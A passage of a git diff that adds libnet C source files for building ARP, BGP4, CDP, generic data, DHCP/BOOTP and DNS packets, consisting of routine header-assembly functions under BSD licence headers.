+u_int8_t *payload, u_int32_t payload_s, libnet_t *l, libnet_ptag_t ptag)
+{
+ u_int32_t n, h;
+ libnet_pblock_t *p;
+ struct libnet_arp_hdr arp_hdr;
+
+ if (l == NULL)
+ {
+ return (-1);
+ }
+
+ n = LIBNET_ARP_H + (2 * hln) + (2 * pln) + payload_s;
+ h = 0; /* ARP headers have no checksum */
+
+ /*
+ * Find the existing protocol block if a ptag is specified, or create
+ * a new one.
+ */
+ p = libnet_pblock_probe(l, ptag, n, LIBNET_PBLOCK_ARP_H);
+ if (p == NULL)
+ {
+ return (-1);
+ }
+
+ memset(&arp_hdr, 0, sizeof(arp_hdr));
+ arp_hdr.ar_hrd = htons(hrd); /* hardware address type */
+ arp_hdr.ar_pro = htons(pro); /* protocol address type */
+ arp_hdr.ar_hln = hln; /* hardware address length */
+ arp_hdr.ar_pln = pln; /* protocol address length */
+ arp_hdr.ar_op = htons(op); /* opcode command */
+
+ n = libnet_pblock_append(l, p, (u_int8_t *)&arp_hdr, LIBNET_ARP_H);
+ if (n == -1)
+ {
+ /* err msg set in libnet_pblock_append() */
+ goto bad;
+ }
+ n = libnet_pblock_append(l, p, sha, hln);
+ if (n == -1)
+ {
+ /* err msg set in libnet_pblock_append() */
+ goto bad;
+ }
+ n = libnet_pblock_append(l, p, spa, pln);
+ if (n == -1)
+ {
+ /* err msg set in libnet_pblock_append() */
+ goto bad;
+ }
+ n = libnet_pblock_append(l, p, tha, hln);
+ if (n == -1)
+ {
+ /* err msg set in libnet_pblock_append() */
+ goto bad;
+ }
+ n = libnet_pblock_append(l, p, tpa, pln);
+ if (n == -1)
+ {
+ /* err msg set in libnet_pblock_append() */
+ goto bad;
+ }
+
+ if ((payload && !payload_s) || (!payload && payload_s))
+ {
+ snprintf(l->err_buf, LIBNET_ERRBUF_SIZE,
+ "%s(): payload inconsistency\n", __func__);
+ goto bad;
+ }
+
+ if (payload && payload_s)
+ {
+ n = libnet_pblock_append(l, p, payload, payload_s);
+ if (n == -1)
+ {
+ /* err msg set in libnet_pblock_append() */
+ goto bad;
+ }
+ }
+
+ return (ptag ? ptag : libnet_pblock_update(l, p, h, LIBNET_PBLOCK_ARP_H));
+bad:
+ libnet_pblock_delete(l, p);
+ return (-1);
+}
+
+libnet_ptag_t
+libnet_autobuild_arp(u_int16_t op, u_int8_t *sha, u_int8_t *spa, u_int8_t *tha,
+u_int8_t *tpa, libnet_t *l)
+{
+ u_short hrd;
+
+ switch (l->link_type)
+ {
+ case 1: /* DLT_EN10MB */
+ hrd = ARPHRD_ETHER;
+ break;
+ case 6: /* DLT_IEEE802 */
+ hrd = ARPHRD_IEEE802;
+ break;
+ default:
+ hrd = 0;
+ snprintf(l->err_buf, LIBNET_ERRBUF_SIZE,
+ "%s(): unsupported link type\n", __func__);
+ return (-1);
+ /* add other link-layers */
+ }
+
+ return (libnet_build_arp(
+ hrd, /* hardware addr */
+ ETHERTYPE_IP, /* protocol addr */
+ 6, /* hardware addr size */
+ 4, /* protocol addr size */
+ op, /* operation type */
+ sha, /* sender hardware addr */
+ spa, /* sender protocol addr */
+ tha, /* target hardware addr */
+ tpa, /* target protocol addr */
+ NULL, /* payload */
+ 0, /* payload size */
+ l, /* libnet context */
+ 0)); /* libnet id */
+}
+
+/* EOF */
diff --git a/libnet/src/libnet_build_bgp.c b/libnet/src/libnet_build_bgp.c
new file mode 100644
index 0000000..5d58df6
--- /dev/null
+++ b/libnet/src/libnet_build_bgp.c
@@ -0,0 +1,350 @@
+/*
+ * $Id: libnet_build_bgp.c,v 1.7 2003/10/30 23:26:32 mike Exp $
+ *
+ * libnet
+ * libnet_build_bgp.c - BGP packet assembler (RFC 1771)
+ *
+ * Copyright (c) 2003 Frederic Raynal <pappy@security-labs.org>
+ * All rights reserved.
+ *
+ * Redistribution and use in source and binary forms, with or without
+ * modification, are permitted provided that the following conditions
+ * are met:
+ * 1. Redistributions of source code must retain the above copyright
+ * notice, this list of conditions and the following disclaimer.
+ * 2. Redistributions in binary form must reproduce the above copyright
+ * notice, this list of conditions and the following disclaimer in the
+ * documentation and/or other materials provided with the distribution.
+ *
+ * THIS SOFTWARE IS PROVIDED BY THE AUTHOR AND CONTRIBUTORS ``AS IS'' AND
+ * ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE
+ * IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE
+ * ARE DISCLAIMED. IN NO EVENT SHALL THE AUTHOR OR CONTRIBUTORS BE LIABLE
+ * FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL
+ * DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS
+ * OR SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION)
+ * HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT
+ * LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY
+ * OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF
+ * SUCH DAMAGE.
+ *
+ */
+
+#if (HAVE_CONFIG_H)
+#include "../include/config.h"
+#endif
+#if (!(_WIN32) || (__CYGWIN__))
+#include "../include/libnet.h"
+#else
+#include "../include/win32/libnet.h"
+#endif
+
+libnet_ptag_t
+libnet_build_bgp4_header(u_int8_t marker[LIBNET_BGP4_MARKER_SIZE],
+ u_int16_t len, u_int8_t type, u_int8_t *payload, u_int32_t payload_s,
+ libnet_t *l, libnet_ptag_t ptag)
+{
+ u_int32_t n, h;
+ libnet_pblock_t *p;
+ struct libnet_bgp4_header_hdr bgp4_hdr;
+
+ if (l == NULL)
+ {
+ return (-1);
+ }
+
+ n = LIBNET_BGP4_HEADER_H + payload_s; /* size of memory block */
+ h = 0; /* BGP headers have no checksum */
+
+ /*
+ * Find the existing protocol block if a ptag is specified, or create
+ * a new one.
+ */
+ p = libnet_pblock_probe(l, ptag, n, LIBNET_PBLOCK_BGP4_HEADER_H);
+ if (p == NULL)
+ {
+ return (-1);
+ }
+
+ memset(&bgp4_hdr, 0, sizeof(bgp4_hdr));
+ memcpy(bgp4_hdr.marker, marker, LIBNET_BGP4_MARKER_SIZE * sizeof (u_int8_t));
+ bgp4_hdr.len = htons(len);
+ bgp4_hdr.type = type;
+
+ n = libnet_pblock_append(l, p, (u_int8_t *)&bgp4_hdr, LIBNET_BGP4_HEADER_H);
+ if (n == -1)
+ {
+ goto bad;
+ }
+
+ if ((payload && !payload_s) || (!payload && payload_s))
+ {
+ snprintf(l->err_buf, LIBNET_ERRBUF_SIZE,
+ "%s(): payload inconsistency\n", __func__);
+ goto bad;
+ }
+
+ if (payload && payload_s)
+ {
+ n = libnet_pblock_append(l, p, payload, payload_s);
+ if (n == -1)
+ {
+ /* err msg set in libnet_pblock_append() */
+ goto bad;
+ }
+ }
+
+ return (ptag ? ptag : libnet_pblock_update(l, p, h,
+ LIBNET_PBLOCK_BGP4_HEADER_H));
+bad:
+ libnet_pblock_delete(l, p);
+ return (-1);
+}
+
+libnet_ptag_t
+libnet_build_bgp4_open(u_int8_t version, u_int16_t src_as, u_int16_t hold_time,
+ u_int32_t bgp_id, u_int8_t opt_len, u_int8_t *payload, u_int32_t payload_s,
+ libnet_t *l, libnet_ptag_t ptag)
+{
+ u_int32_t n, h;
+ libnet_pblock_t *p;
+ u_int16_t val;
+
+ if (l == NULL)
+ {
+ return (-1);
+ }
+
+ n = LIBNET_BGP4_OPEN_H + payload_s; /* size of memory block */
+ h = 0; /* BGP msg have no checksum */
+
+ /*
+ * Find the existing protocol block if a ptag is specified, or create
+ * a new one.
+ */
+ p = libnet_pblock_probe(l, ptag, n, LIBNET_PBLOCK_BGP4_OPEN_H);
+ if (p == NULL)
+ {
+ return (-1);
+ }
+
+ /* for memory alignment reason, we need to append each field separately */
+ n = libnet_pblock_append(l, p, (u_int8_t *)&version, sizeof (version));
+ if (n == -1)
+ {
+ goto bad;
+ }
+
+ val = htons(src_as);
+ n = libnet_pblock_append(l, p, (u_int8_t *)&val, sizeof(src_as));
+ if (n == -1)
+ {
+ goto bad;
+ }
+
+ val = htons(hold_time);
+ n = libnet_pblock_append(l, p, (u_int8_t *)&val, sizeof(hold_time));
+ if (n == -1)
+ {
+ goto bad;
+ }
+
+ n = htonl(bgp_id);
+ n = libnet_pblock_append(l, p, (u_int8_t *)&n, sizeof(bgp_id));
+ if (n == -1)
+ {
+ goto bad;
+ }
+
+ n = libnet_pblock_append(l, p, (u_int8_t *)&opt_len, sizeof(opt_len));
+ if (n == -1)
+ {
+ goto bad;
+ }
+
+ if ((payload && !payload_s) || (!payload && payload_s))
+ {
+ snprintf(l->err_buf, LIBNET_ERRBUF_SIZE,
+ "%s(): payload inconsistency\n", __func__);
+ goto bad;
+ }
+
+ if (payload && payload_s)
+ {
+ n = libnet_pblock_append(l, p, payload, payload_s);
+ if (n == -1)
+ {
+ /* err msg set in libnet_pblock_append() */
+ goto bad;
+ }
+ }
+
+ return (ptag ? ptag : libnet_pblock_update(l, p, h,
+ LIBNET_PBLOCK_BGP4_OPEN_H));
+bad:
+ libnet_pblock_delete(l, p);
+ return (-1);
+}
+
+libnet_ptag_t
+libnet_build_bgp4_update(u_int16_t unfeasible_rt_len, u_int8_t *withdrawn_rt,
+ u_int16_t total_path_attr_len, u_int8_t *path_attributes,
+ u_int16_t info_len, u_int8_t *reachability_info,
+ u_int8_t *payload, u_int32_t payload_s, libnet_t *l, libnet_ptag_t ptag)
+{
+ u_int32_t n, h;
+ libnet_pblock_t *p;
+ u_int16_t length;
+
+ if (l == NULL)
+ {
+ return (-1);
+ }
+
+ /* size of memory block */
+ n = LIBNET_BGP4_UPDATE_H + unfeasible_rt_len + total_path_attr_len +
+ info_len + payload_s;
+
+ /* BGP msg have no checksum */
+ h = 0;
+
+ /*
+ * Find the existing protocol block if a ptag is specified, or create
+ * a new one.
+ */
+ p = libnet_pblock_probe(l, ptag, n, LIBNET_PBLOCK_BGP4_UPDATE_H);
+ if (p == NULL)
+ {
+ return (-1);
+ }
+
+ /* for memory alignment reason, we need to append each field separately */
+ length = htons(unfeasible_rt_len);
+ n = libnet_pblock_append(l, p, (u_int8_t *)&length,
+ sizeof (unfeasible_rt_len));
+ if (n == -1)
+ {
+ goto bad;
+ }
+
+ if (unfeasible_rt_len && withdrawn_rt)
+ {
+ n = libnet_pblock_append(l, p, withdrawn_rt, unfeasible_rt_len);
+ if (n == -1)
+ {
+ goto bad;
+ }
+ }
+
+ length = htons(total_path_attr_len);
+ n = libnet_pblock_append(l, p, (u_int8_t *)&length,
+ sizeof (total_path_attr_len));
+ if (n == -1)
+ {
+ goto bad;
+ }
+
+ if (total_path_attr_len && path_attributes)
+ {
+ n = libnet_pblock_append(l, p, path_attributes, total_path_attr_len);
+ if (n == -1)
+ {
+ goto bad;
+ }
+ }
+
+ if (info_len && reachability_info)
+ {
+ n = libnet_pblock_append(l, p, reachability_info, info_len);
+ if (n == -1)
+ {
+ goto bad;
+ }
+ }
+
+ if ((payload && !payload_s) || (!payload && payload_s))
+ {
+ snprintf(l->err_buf, LIBNET_ERRBUF_SIZE,
+ "%s(): payload inconsistency\n", __func__);
+ goto bad;
+ }
+
+ if (payload && payload_s)
+ {
+ n = libnet_pblock_append(l, p, payload, payload_s);
+ if (n == -1)
+ {
+ /* err msg set in libnet_pblock_append() */
+ goto bad;
+ }
+ }
+
+ return (ptag ? ptag : libnet_pblock_update(l, p, h,
+ LIBNET_PBLOCK_BGP4_UPDATE_H));
+bad:
+ libnet_pblock_delete(l, p);
+ return (-1);
+}
+
+libnet_ptag_t
+libnet_build_bgp4_notification(u_int8_t err_code, u_int8_t err_subcode,
+ u_int8_t *payload, u_int32_t payload_s, libnet_t *l, libnet_ptag_t ptag)
+{
+ u_int32_t n, h;
+ libnet_pblock_t *p;
+ struct libnet_bgp4_notification_hdr bgp4_hdr;
+
+ if (l == NULL)
+ {
+ return (-1);
+ }
+
+ n = LIBNET_BGP4_NOTIFICATION_H + + payload_s; /* size of memory block */
+ h = 0;
+
+ /*
+ * Find the existing protocol block if a ptag is specified, or create
+ * a new one.
+ */
+ p = libnet_pblock_probe(l, ptag, n, LIBNET_PBLOCK_BGP4_NOTIFICATION_H);
+ if (p == NULL)
+ {
+ return (-1);
+ }
+
+ memset(&bgp4_hdr, 0, sizeof(bgp4_hdr));
+ bgp4_hdr.err_code = err_code;
+ bgp4_hdr.err_subcode = err_subcode;
+
+ n = libnet_pblock_append(l, p, (u_int8_t *)&bgp4_hdr,
+ LIBNET_BGP4_NOTIFICATION_H);
+ if (n == -1)
+ {
+ goto bad;
+ }
+
+ if ((payload && !payload_s) || (!payload && payload_s))
+ {
+ snprintf(l->err_buf, LIBNET_ERRBUF_SIZE,
+ "%s(): payload inconsistency\n", __func__);
+ goto bad;
+ }
+
+ if (payload && payload_s)
+ {
+ n = libnet_pblock_append(l, p, payload, payload_s);
+ if (n == -1)
+ {
+ /* err msg set in libnet_pblock_append() */
+ goto bad;
+ }
+ }
+
+ return (ptag ? ptag : libnet_pblock_update(l, p, h,
+ LIBNET_PBLOCK_BGP4_NOTIFICATION_H));
+bad:
+ libnet_pblock_delete(l, p);
+ return (-1);
+}
+
+/* EOF */
diff --git a/libnet/src/libnet_build_cdp.c b/libnet/src/libnet_build_cdp.c
new file mode 100644
index 0000000..63f4fbe
--- /dev/null
+++ b/libnet/src/libnet_build_cdp.c
@@ -0,0 +1,191 @@
+/*
+ * $Id: libnet_build_cdp.c,v 1.9 2004/01/21 19:01:29 mike Exp $
+ *
+ * libnet
+ * libnet_build_cdp.c - CDP packet assembler
+ *
+ * Copyright (c) 1998 - 2004 Mike D. Schiffman <mike@infonexus.com>
+ * All rights reserved.
+ *
+ * Redistribution and use in source and binary forms, with or without
+ * modification, are permitted provided that the following conditions
+ * are met:
+ * 1. Redistributions of source code must retain the above copyright
+ * notice, this list of conditions and the following disclaimer.
+ * 2. Redistributions in binary form must reproduce the above copyright
+ * notice, this list of conditions and the following disclaimer in the
+ * documentation and/or other materials provided with the distribution.
+ *
+ * THIS SOFTWARE IS PROVIDED BY THE AUTHOR AND CONTRIBUTORS ``AS IS'' AND
+ * ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE
+ * IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE
+ * ARE DISCLAIMED. IN NO EVENT SHALL THE AUTHOR OR CONTRIBUTORS BE LIABLE
+ * FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL
+ * DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS
+ * OR SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION)
+ * HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT
+ * LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY
+ * OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF
+ * SUCH DAMAGE.
+ *
+ */
+
+#if (HAVE_CONFIG_H)
+#include "../include/config.h"
+#endif
+#if (!(_WIN32) || (__CYGWIN__))
+#include "../include/libnet.h"
+#else
+#include "../include/win32/libnet.h"
+#endif
+
+libnet_ptag_t
+libnet_build_cdp(u_int8_t version, u_int8_t ttl, u_int16_t sum, u_int16_t type,
+u_int16_t len, u_int8_t *value, u_int8_t *payload, u_int32_t payload_s,
+libnet_t *l, libnet_ptag_t ptag)
+{
+ u_int32_t n,h;
+ libnet_pblock_t *p;
+ struct libnet_cdp_hdr cdp_hdr;
+
+ if (l == NULL)
+ {
+ return (-1);
+ }
+
+ n = LIBNET_CDP_H + len + payload_s;
+ h = LIBNET_CDP_H + len + payload_s;
+
+ /*
+ * Find the existing protocol block if a ptag is specified, or create
+ * a new one.
+ */
+ p = libnet_pblock_probe(l, ptag, n, LIBNET_PBLOCK_CDP_H);
+ if (p == NULL)
+ {
+ return (-1);
+ }
+
+ memset(&cdp_hdr, 0, sizeof(cdp_hdr));
+ cdp_hdr.cdp_version = version;
+ cdp_hdr.cdp_ttl = ttl;
+ cdp_hdr.cdp_sum = (sum ? htons(sum) : 0);
+ cdp_hdr.cdp_type = htons(type);
+ cdp_hdr.cdp_len = htons(len + 4); /* 4 bytes for len and type */
+
+ n = libnet_pblock_append(l, p, (u_int8_t *)&cdp_hdr, LIBNET_CDP_H);
+ if (n == -1)
+ {
+ goto bad;
+ }
+
+ n = libnet_pblock_append(l, p, value, len);
+ if (n == -1)
+ {
+ /* err msg set in libnet_pblock_append() */
+ goto bad;
+ }
+
+ if ((payload && !payload_s) || (!payload && payload_s))
+ {
+ snprintf(l->err_buf, LIBNET_ERRBUF_SIZE,
+ "%s(): payload inconsistency\n", __func__);
+ goto bad;
+ }
+
+ if (payload && payload_s)
+ {
+ n = libnet_pblock_append(l, p, payload, payload_s);
+ if (n == -1)
+ {
+ goto bad;
+ }
+ }
+
+ if (sum == 0)
+ {
+ /*
+ * If checksum is zero, by default libnet will compute a checksum
+ * for the user. The programmer can override this by calling
+ * libnet_toggle_checksum(l, ptag, 1);
+ */
+ libnet_pblock_setflags(p, LIBNET_PBLOCK_DO_CHECKSUM);
+ }
+ return (ptag ? ptag : libnet_pblock_update(l, p, h, LIBNET_PBLOCK_CDP_H));
+bad:
+ libnet_pblock_delete(l, p);
+ return (-1);
+}
+
+
+int
+/* Not Yet Implemented */
+libnet_build_cdp_value(u_int16_t type, u_int16_t len, u_int8_t *value, libnet_t *l,
+ libnet_ptag_t ptag)
+{
+ u_int32_t n;
+ libnet_pblock_t *p;
+ struct libnet_cdp_value_hdr cdp_value_hdr;
+
+ if (l == NULL)
+ {
+ return (-1);
+ }
+
+ /*
+ * Find the existing protocol block.
+ */
+ p = libnet_pblock_find(l, ptag);
+ if (p == NULL)
+ {
+ /* err msg set in libnet_pblock_find */
+ return (-1);
+ }
+ if (p->type != LIBNET_PBLOCK_CDP_H)
+ {
+ snprintf(l->err_buf, LIBNET_ERRBUF_SIZE,
+ "libnet_build_cdp_value: ptag references different type than expected");
+ return (-1);
+ }
+
+ memset(&cdp_value_hdr, 0, sizeof(cdp_value_hdr));
+ cdp_value_hdr.cdp_type = htons(type);
+ cdp_value_hdr.cdp_len = htons(len + 4); /* 4 bytes for len and type */
+
+ switch (type)
+ {
+ case LIBNET_CDP_DEVID:
+ break;
+ case LIBNET_CDP_ADDRESS:
+ break;
+ case LIBNET_CDP_PORTID:
+ break;
+ case LIBNET_CDP_CAPABIL:
+ break;
+ case LIBNET_CDP_VERSION:
+ break;
+ case LIBNET_CDP_PLATFORM:
+ break;
+ case LIBNET_CDP_IPPREFIX:
+ break;
+ default:
+ break;
+ }
+
+ n = libnet_pblock_append(l, p, (u_int8_t *)&cdp_value_hdr, LIBNET_CDP_H);
+ if (n == -1)
+ {
+ return (-1);
+ }
+
+ n = libnet_pblock_append(l, p, value, len);
+ if (n == -1)
+ {
+ /* err msg set in libnet_pblock_append() */
+ return (-1);
+ }
+
+ return (1);
+}
+
+/* EOF */
diff --git a/libnet/src/libnet_build_data.c b/libnet/src/libnet_build_data.c
new file mode 100644
index 0000000..2874d3c
--- /dev/null
+++ b/libnet/src/libnet_build_data.c
@@ -0,0 +1,90 @@
+/*
+ * $Id: libnet_build_data.c,v 1.6 2004/01/03 20:31:01 mike Exp $
+ *
+ * libnet
+ * libnet_build_data.c - generic data block builder
+ *
+ * Copyright (c) 1998 - 2004 Mike D. Schiffman <mike@infonexus.com>
+ * All rights reserved.
+ *
+ * Redistribution and use in source and binary forms, with or without
+ * modification, are permitted provided that the following conditions
+ * are met:
+ * 1. Redistributions of source code must retain the above copyright
+ * notice, this list of conditions and the following disclaimer.
+ * 2. Redistributions in binary form must reproduce the above copyright
+ * notice, this list of conditions and the following disclaimer in the
+ * documentation and/or other materials provided with the distribution.
+ *
+ * THIS SOFTWARE IS PROVIDED BY THE AUTHOR AND CONTRIBUTORS ``AS IS'' AND
+ * ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE
+ * IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE
+ * ARE DISCLAIMED. IN NO EVENT SHALL THE AUTHOR OR CONTRIBUTORS BE LIABLE
+ * FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL
+ * DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS
+ * OR SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION)
+ * HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT
+ * LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY
+ * OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF
+ * SUCH DAMAGE.
+ *
+ */
+
+#if (HAVE_CONFIG_H)
+#include "../include/config.h"
+#endif
+#if (!(_WIN32) || (__CYGWIN__))
+#include "../include/libnet.h"
+#else
+#include "../include/win32/libnet.h"
+#endif
+
+
+libnet_ptag_t
+libnet_build_data(u_int8_t *payload, u_int32_t payload_s, libnet_t *l,
+ libnet_ptag_t ptag)
+{
+ u_int32_t n, h;
+ libnet_pblock_t *p;
+
+ if (l == NULL)
+ {
+ return (-1);
+ }
+
+ n = payload_s;
+ h = 0; /* no checksum on generic block */
+
+ /*
+ * Find the existing protocol block if a ptag is specified, or create
+ * a new one.
+ */
+ p = libnet_pblock_probe(l, ptag, n, LIBNET_PBLOCK_DATA_H);
+ if (p == NULL)
+ {
+ return (-1);
+ }
+
+ if ((payload && !payload_s) || (!payload && payload_s))
+ {
+ snprintf(l->err_buf, LIBNET_ERRBUF_SIZE,
+ "%s(): payload inconsistency\n", __func__);
+ goto bad;
+ }
+
+ if (payload && payload_s)
+ {
+ n = libnet_pblock_append(l, p, payload, payload_s);
+ if (n == -1)
+ {
+ goto bad;
+ }
+ }
+
+ return (ptag ? ptag : libnet_pblock_update(l, p, h, LIBNET_PBLOCK_DATA_H));
+bad:
+ libnet_pblock_delete(l, p);
+ return (-1);
+}
+
+/* EOF */
diff --git a/libnet/src/libnet_build_dhcp.c b/libnet/src/libnet_build_dhcp.c
new file mode 100644
index 0000000..7a34d4c
--- /dev/null
+++ b/libnet/src/libnet_build_dhcp.c
@@ -0,0 +1,156 @@
+/*
+ * $Id: libnet_build_dhcp.c,v 1.10 2004/03/01 20:26:12 mike Exp $
+ *
+ * libnet
+ * libnet_build_dhcp.c - DHCP/BOOTP packet assembler
+ *
+ * Copyright (c) 1998 - 2004 Mike D. Schiffman <mike@infonexus.com>
+ * All rights reserved.
+ *
+ * Redistribution and use in source and binary forms, with or without
+ * modification, are permitted provided that the following conditions
+ * are met:
+ * 1. Redistributions of source code must retain the above copyright
+ * notice, this list of conditions and the following disclaimer.
+ * 2. Redistributions in binary form must reproduce the above copyright
+ * notice, this list of conditions and the following disclaimer in the
+ * documentation and/or other materials provided with the distribution.
+ *
+ * THIS SOFTWARE IS PROVIDED BY THE AUTHOR AND CONTRIBUTORS ``AS IS'' AND
+ * ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE
+ * IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE
+ * ARE DISCLAIMED. IN NO EVENT SHALL THE AUTHOR OR CONTRIBUTORS BE LIABLE
+ * FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL
+ * DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS
+ * OR SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION)
+ * HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT
+ * LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY
+ * OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF
+ * SUCH DAMAGE.
+ *
+ */
+
+#if (HAVE_CONFIG_H)
+#include "../include/config.h"
+#endif
+#if (!(_WIN32) || (__CYGWIN__))
+#include "../include/libnet.h"
+#else
+#include "../include/win32/libnet.h"
+#endif
+
+libnet_ptag_t
+libnet_build_dhcpv4(u_int8_t opcode, u_int8_t htype, u_int8_t hlen,
+u_int8_t hopcount, u_int32_t xid, u_int16_t secs, u_int16_t flags,
+u_int32_t cip, u_int32_t yip, u_int32_t sip, u_int32_t gip, u_int8_t *chaddr,
+u_int8_t *sname, u_int8_t *file, u_int8_t *payload, u_int32_t payload_s,
+libnet_t *l, libnet_ptag_t ptag)
+{
+ u_int32_t n, h;
+ libnet_pblock_t *p;
+ struct libnet_dhcpv4_hdr dhcp_hdr;
+
+ if (l == NULL)
+ {
+ return (-1);
+ }
+
+ n = LIBNET_DHCPV4_H + payload_s;
+ h = 0; /* no checksum */
+
+ /*
+ * Find the existing protocol block if a ptag is specified, or create
+ * a new one.
+ */
+ p = libnet_pblock_probe(l, ptag, n, LIBNET_PBLOCK_DHCPV4_H);
+ if (p == NULL)
+ {
+ return (-1);
+ }
+
+ memset(&dhcp_hdr, 0, sizeof(dhcp_hdr));
+ dhcp_hdr.dhcp_opcode = opcode;
+ dhcp_hdr.dhcp_htype = htype;
+ dhcp_hdr.dhcp_hlen = hlen;
+ dhcp_hdr.dhcp_hopcount = hopcount;
+ dhcp_hdr.dhcp_xid = htonl(xid);
+ dhcp_hdr.dhcp_secs = htons(secs);
+ dhcp_hdr.dhcp_flags = htons(flags);
+ dhcp_hdr.dhcp_cip = htonl(cip);
+ dhcp_hdr.dhcp_yip = htonl(yip);
+ dhcp_hdr.dhcp_sip = htonl(sip);
+ dhcp_hdr.dhcp_gip = htonl(gip);
+
+ if (chaddr)
+ {
+ memcpy(dhcp_hdr.dhcp_chaddr, chaddr, sizeof (dhcp_hdr.dhcp_chaddr));
+ dhcp_hdr.dhcp_chaddr[sizeof(dhcp_hdr.dhcp_chaddr) - 1] = 0;
+ }
+ else
+ {
+ memset(dhcp_hdr.dhcp_chaddr, 0, sizeof (dhcp_hdr.dhcp_chaddr));
+ }
+
+ if (sname)
+ {
+ memcpy(dhcp_hdr.dhcp_sname, sname, sizeof (dhcp_hdr.dhcp_sname));
+ dhcp_hdr.dhcp_sname[sizeof(dhcp_hdr.dhcp_sname) - 1] = 0;
+ }
+ else
+ {
+ memset(dhcp_hdr.dhcp_sname, 0, sizeof (dhcp_hdr.dhcp_sname));
+ }
+
+ if (file)
+ {
+ memcpy(dhcp_hdr.dhcp_file, file, sizeof (dhcp_hdr.dhcp_file));
+ dhcp_hdr.dhcp_file[sizeof(dhcp_hdr.dhcp_file) - 1] = 0;
+ }
+ else
+ {
+ memset(dhcp_hdr.dhcp_file, 0, sizeof(dhcp_hdr.dhcp_file));
+ }
+ dhcp_hdr.dhcp_magic = htonl(DHCP_MAGIC); /* should this be tunable? */
+
+ n = libnet_pblock_append(l, p, (u_int8_t *)&dhcp_hdr, LIBNET_DHCPV4_H);
+ if (n == -1)
+ {
+ goto bad;
+ }
+
+ if ((payload && !payload_s) || (!payload && payload_s))
+ {
+ snprintf(l->err_buf, LIBNET_ERRBUF_SIZE,
+ "%s(): payload inconsistency\n", __func__);
+ goto bad;
+ }
+
+ if (payload && payload_s)
+ {
+ n = libnet_pblock_append(l, p, payload, payload_s);
+ if (n == -1)
+ {
+ goto bad;
+ }
+ }
+
+ return (ptag ? ptag : libnet_pblock_update(l, p, h,
+ LIBNET_PBLOCK_DHCPV4_H));
+bad:
+ libnet_pblock_delete(l, p);
+ return (-1);
+}
+
+libnet_ptag_t
+libnet_build_bootpv4(u_int8_t opcode, u_int8_t htype, u_int8_t hlen,
+u_int8_t hopcount, u_int32_t xid, u_int16_t secs, u_int16_t flags,
+u_int32_t cip, u_int32_t yip, u_int32_t sip, u_int32_t gip, u_int8_t *chaddr,
+u_int8_t *sname, u_int8_t *file, u_int8_t *payload, u_int32_t payload_s,
+libnet_t *l, libnet_ptag_t ptag)
+{
+ return (libnet_build_dhcpv4(opcode, htype, hlen, hopcount, xid, secs,
+ flags, cip, yip, sip, gip, chaddr, sname, file, payload, payload_s,
+ l, ptag));
+}
+
+/* EOF */
diff --git a/libnet/src/libnet_build_dns.c b/libnet/src/libnet_build_dns.c
new file mode 100644
index 0000000..e8cc0d9
--- /dev/null
+++ b/libnet/src/libnet_build_dns.c
@@ -0,0 +1,129 @@
+/*
+ * $Id: libnet_build_dns.c,v 1.9 2004/01/03 20:31:01 mike Exp $
+ *
+ * libnet
+ * libnet_build_dns.c - DNS packet assembler
+ *
+ * Copyright (c) 1998 - 2004 Mike D. Schiffman <mike@infonexus.com>
+ * All rights reserved.
+ *
+ * Redistribution and use in source and binary forms, with or without
+ * modification, are permitted provided that the following conditions
+ * are met:
+ * 1. Redistributions of source code must retain the above copyright
+ * notice, this list of conditions and the following disclaimer.
+ * 2. Redistributions in binary form must reproduce the above copyright
+ * notice, this list of conditions and the following disclaimer in the
+ * documentation and/or other materials provided with the distribution.
+ *
+ * THIS SOFTWARE IS PROVIDED BY THE AUTHOR AND CONTRIBUTORS ``AS IS'' AND
